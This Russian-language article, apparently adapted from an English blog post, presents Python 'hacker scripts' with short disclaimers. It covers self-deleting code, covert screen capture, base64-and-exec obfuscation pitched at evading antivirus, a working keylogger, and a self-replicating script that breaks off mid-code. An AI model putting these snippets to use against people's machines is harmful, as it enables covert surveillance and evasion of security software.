πŸ•΅οΈβ€β™‚οΈπŸ” 10 хакСрских скриптов Π½Π° Python

Π₯ΠΎΡ‡Π΅ΡˆΡŒ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Python-скрипт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΡƒΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Ρ…ΠΎΠ΄Ρƒ, Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ наТатия клавиш, Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹, ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ систСмы ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ прямо ΠΈΠ· ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти? Π”ΠΎΠ±Ρ€ΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΏΠΎΠ΄ΠΏΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΌΠΈΡ€ хакСрских ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊ, Π³Π΄Π΅ ΠΊΡ€Π΅Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Π½Π΅ Π·Π½Π°Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ† (ΠΊΡ€ΠΎΠΌΠ΅ Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…)!

πŸ•΅οΈβ€β™‚οΈπŸ” 10 хакСрских скриптов Π½Π° Python
Π‘Ρ‚Π°Ρ‚ΡŒΡ основана Π½Π° ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Β«Python’s 10 Insane Underground Scripts You Didn’t Know ExistΒ».

Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Π½Π°Π±ΠΎΡ€ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΈΠΊ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ:

  • Π£Π½ΠΈΡ‡Ρ‚ΠΎΠΆΠ°Ρ‚ΡŒ исходный ΠΊΠΎΠ΄ послС выполнСния.
  • Π‘ΠΊΡ€Ρ‹Ρ‚Π½ΠΎ ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.
  • ΠžΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ антивирусы ΠΈ систСмы ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π°.
  • Π—Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π±Π΅Π· слСдов Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.
  • И Π΄Π°ΠΆΠ΅ Π·Π°Ρ‰ΠΈΡ‰Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ рСвСрс-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π°.

ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих скриптов ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠ°ΠΊ этичныС, Ρ‚Π°ΠΊ ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ опасныС примСнСния, поэтому Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ: всС описанныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² Π»Π΅Π³Π°Π»ΡŒΠ½Ρ‹Ρ… цСлях, с ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ этичСских Π½ΠΎΡ€ΠΌ ΠΈ ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΈΡ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ.

Π‘Π°ΠΌΠΎΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ Python-скрипты

Π’Π°ΠΊΠΈΠ΅ скрипты ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² случаях, ΠΊΠΎΠ³Π΄Π° нСльзя ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ исходный ΠΊΠΎΠ΄ послС выполнСния, β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π·Π°Π΄Π°Ρ‡Π°Ρ…, связанных с Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ»ΠΈ пСнтСстингом.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΡΠ°ΠΌΠΎΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ скрипты:

  • ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ собствСнного Ρ„Π°ΠΉΠ»Π°. Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΏΡƒΡ‚ΡŒ ΠΊ своСму собствСнному Ρ„Π°ΠΉΠ»Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… __file__ ΠΈΠ»ΠΈ sys.argv[0].
  • Π‘Π°ΠΌΠΎΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅. ПослС выполнСния основной Π·Π°Π΄Π°Ρ‡ΠΈ скрипт Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ os.remove(), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ сСбя с диска.
import os
import sys

def main():
    print("Π­Ρ‚ΠΎΡ‚ скрипт самоуничтоТится послС выполнСния.")
    # Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ основной ΠΊΠΎΠ΄...
    
    # Π‘Π°ΠΌΠΎΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΠ΅: ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Ρ„Π°ΠΉΠ»
    try:
        os.remove(__file__)
        print("Π‘Π°ΠΌΠΎΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡˆΠ»ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ. Пока!")
    except Exception as e:
        print("Ошибка ΠΏΡ€ΠΈ самоуничтоТСнии:", e)

if __name__ == '__main__':
    main()

⚠️ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ скрипт ΡƒΠ΄Π°Π»ΠΈΡ‚ сСбя, Π΅Π³ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΡΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π±Π΅Π· Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.

НСзамСтный Π·Π°Ρ…Π²Π°Ρ‚ экрана

Для пСнтСстСров Π²Π°ΠΆΠ½ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ скрытно. Один ΠΈΠ· самых ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… инструмСнтов этичного Ρ…Π°ΠΊΠ΅Ρ€Π° β€” это нСзамСтная съСмка экрана, которая позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄ΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π° уязвимостСй, Π½Π΅ привлСкая внимания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹ΠΉ Π·Π°Ρ…Π²Π°Ρ‚ экрана:

  • Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π°. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ pyautogui ΠΈ PIL (Pillow) ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ снимок всСго экрана.
  • БъСмка ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ области. МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Ρ€Π΅Π³ΠΈΠΎΠ½ экрана (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ Ρ‡Π°ΡΡ‚ΡŒ экрана), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.
  • Бпособы скрытия активности. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ» процСсс съСмки, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΈ маскировка Ρ€Π°Π±ΠΎΡ‚Ρ‹ скрипта.
import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ (Ссли region Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ β€” Π±ΡƒΠ΄Π΅Ρ‚ вСсь экран)
    screenshot = pyautogui.screenshot(region=region)
    # ΠŸΠ΅Ρ€Π΅Π²Π΅ΡΡ‚ΠΈ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ Π² массив numpy
    frame = np.array(screenshot)
    # ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· RGB (PIL) Π² BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Π—Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ 300x400 пиксСлСй ΠΈΠ· Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π°
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)  # ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠΊΠ½ΠΎ Π½Π° 3 сСкунды
    cv2.destroyAllWindows()

βš οΈΠŸΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠΉ Π·Π°Ρ…Π²Π°Ρ‚ экрана Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎ врСдоносных цСлях β€” ΠΎΠ½ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² Π·Π°ΠΊΠΎΠ½Π½ΠΎΠΌ пСнтСстингС, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ Π·Π°Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ. Π’ этом случаС стоит ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС Π·Π°Ρ…Π²Π°Ρ‚Π° экрана β€” ΠΈΠ½Π°Ρ‡Π΅ Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Ρ‹ рСсурса ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ это Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π·Π°ΠΊΠΎΠ½Π°.

πŸ“š Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация:

Π£ΠΊΠ»ΠΎΠ½Π΅Π½ΠΈΠ΅ ΠΎΡ‚ антивирусов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ обфускации

АнтивирусныС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ сигнатурный Π°Π½Π°Π»ΠΈΠ·, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΈΡ‰ΡƒΡ‚ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡƒΠ³Ρ€ΠΎΠ·Ρƒ. Если ΠΊΠΎΠ΄ прСдсказуСм, Π΅Π³ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ. ΠžΠ±Ρ„ΡƒΡΠΊΠ°Ρ†ΠΈΡ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ эти ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Π° это позволяСт ΠΎΠ±ΠΎΠΉΡ‚ΠΈ простыС антивирусныС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.

πŸ”§ ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ обфускации:

  • ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ строк. ВмСсто Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ строки Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Base64, ROT13, ΠΈΠ»ΠΈ своСго собствСнного ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.
  • ГСнСрация ΠΊΠΎΠ΄Π° Π²ΠΎ врСмя выполнСния. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π²Π°ΠΆΠ½ΡƒΡŽ Π»ΠΎΠ³ΠΈΠΊΡƒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² Π²ΠΈΠ΄Π΅ тСкста ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π² Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ exec().
import base64

# Π‘Π΅ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ строка
secret_code = "print('ΠŸΡ€ΠΈΠ²Π΅Ρ‚ с Ρ‚Π΅ΠΌΠ½ΠΎΠΉ стороны!')"

# Π—Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# Π”Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π²ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹
exec(base64.b64decode(encoded_code).decode())

⚠️ Π’Π°ΠΆΠ½ΠΎ:

  • ΠžΠ±Ρ„ΡƒΡΠΊΠ°Ρ†ΠΈΡ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ простыС антивирусныС Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹, особСнно Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° сигнатуры, Π½ΠΎ Π½Π΅ Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ ΠΎΡ‚ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°.
  • Π’ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ срСдС ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² пСнтСстингС ΠΈ Π°Π½Π°Π»ΠΈΠ·Π΅ врСдоносного ПО.

πŸ“š Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹Π΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹

Π‘ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Ρ‹

ΠšΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ β€” это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, которая отслСТиваСт ΠΈ записываСт наТатия клавиш. Π’ Π»Π΅Π³Π°Π»ΡŒΠ½Ρ‹Ρ… цСлях ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² пСнтСстингС, β€” разумССтся, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€:

  • ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ клавиш. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ keyboard ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚Π»Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ клавиши Π² систСмС.
  • Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ…. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… ΠΊΠ»Π°Π²ΠΈΡˆΠ°Ρ… ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² тСкстовом Ρ„Π°ΠΉΠ»Π΅ ΠΈ/ΠΈΠ»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎ сСти.
import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("ΠšΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π·Π°ΠΏΡƒΡ‰Π΅Π½. НаТмитС ESC для остановки.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

⚠️ Π’Π°ΠΆΠ½ΠΎ:

  • ЭтичСскоС использованиС β€” ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. Никогда Π½Π΅ запускайтС ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Ρ‹ Π½Π° Ρ‡ΡƒΠΆΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ Π±Π΅Π· Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ β€” это Π½Π΅Π·Π°ΠΊΠΎΠ½Π½ΠΎ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹ΠΌ послСдствиям.
  • Π’ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… тСстах ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ обнаруТСния ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ΠΎΠ² сильно различаСтся. По Π΄Π°Π½Π½Ρ‹ΠΌ InfoSec Write-ups, ΠΏΡ€ΠΈ использовании обфускации Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ обнаруТСния ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Π° антивирусами сниТаСтся Π΄ΠΎ 40%.

Π‘Π°ΠΌΠΎΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΡΡ ΠΈ самовоспроизводящийся ΠΊΠΎΠ΄

Бамовоспроизводящийся (ΠΈΠ»ΠΈ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΡΡ) скрипт создаСт свою копию ΠΈ запускаСт Π΅Π΅. Π­Ρ‚ΠΎ интСрСсная Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°, которая, ΠΏΠΎΠΌΠΈΠΌΠΎ выполнСния своСй Π³Π»Π°Π²Π½ΠΎΠΉ Ρ†Π΅Π»ΠΈ, ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ:

  • Как Python Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с собствСнным ΠΊΠΎΠ΄ΠΎΠΌ (интроспСкция).
  • Как ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ процСссами.
  • Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹ΠΉ Π²Π²ΠΎΠ΄/Π²Ρ‹Π²ΠΎΠ΄.

Π’ этичСских цСлях Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ³ΠΎ копирования, пСрСзапуска, эмуляции ТивучСсти процСсса, ΠΈ Ρ‚.Π΄.

πŸ”§ Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ самокопированиС:

  • Π˜Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ исходного ΠΊΠΎΠ΄Π°. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ inspect.getsource() скрипт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ свой собствСнный ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ тСкст.
  • Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΊΠΎΠΏΠΈΠΈ Ρ„Π°ΠΉΠ»Π°. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ записываСтся Π² Π½ΠΎΠ²Ρ‹ΠΉ .py-Ρ„Π°ΠΉΠ» (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, clone_script.py).
  • Запуск ΠΊΠ»ΠΎΠ½Π°. Новый Ρ„Π°ΠΉΠ» запускаСтся Ρ‡Π΅Ρ€Π΅Π· subprocess.Popen(), создавая Π½ΠΎΠ²Ρ‹ΠΉ процСсс, Π° ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π» ΠΌΠΎΠΆΠ΅Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ°ΠΌΠΎΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠΈΡ‚ΡŒΡΡ.
import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ исходный ΠΊΠΎΠ΄ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (вСсь скрипт)
    code = inspect.getsource(inspect.currentframe())
    # Имя клона
    clone_filename = "clone_script.py"
    
    # Π—Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² Π½ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΉΠ»
    with open(clone_filename, "w") as f:
        f.write(code)
    
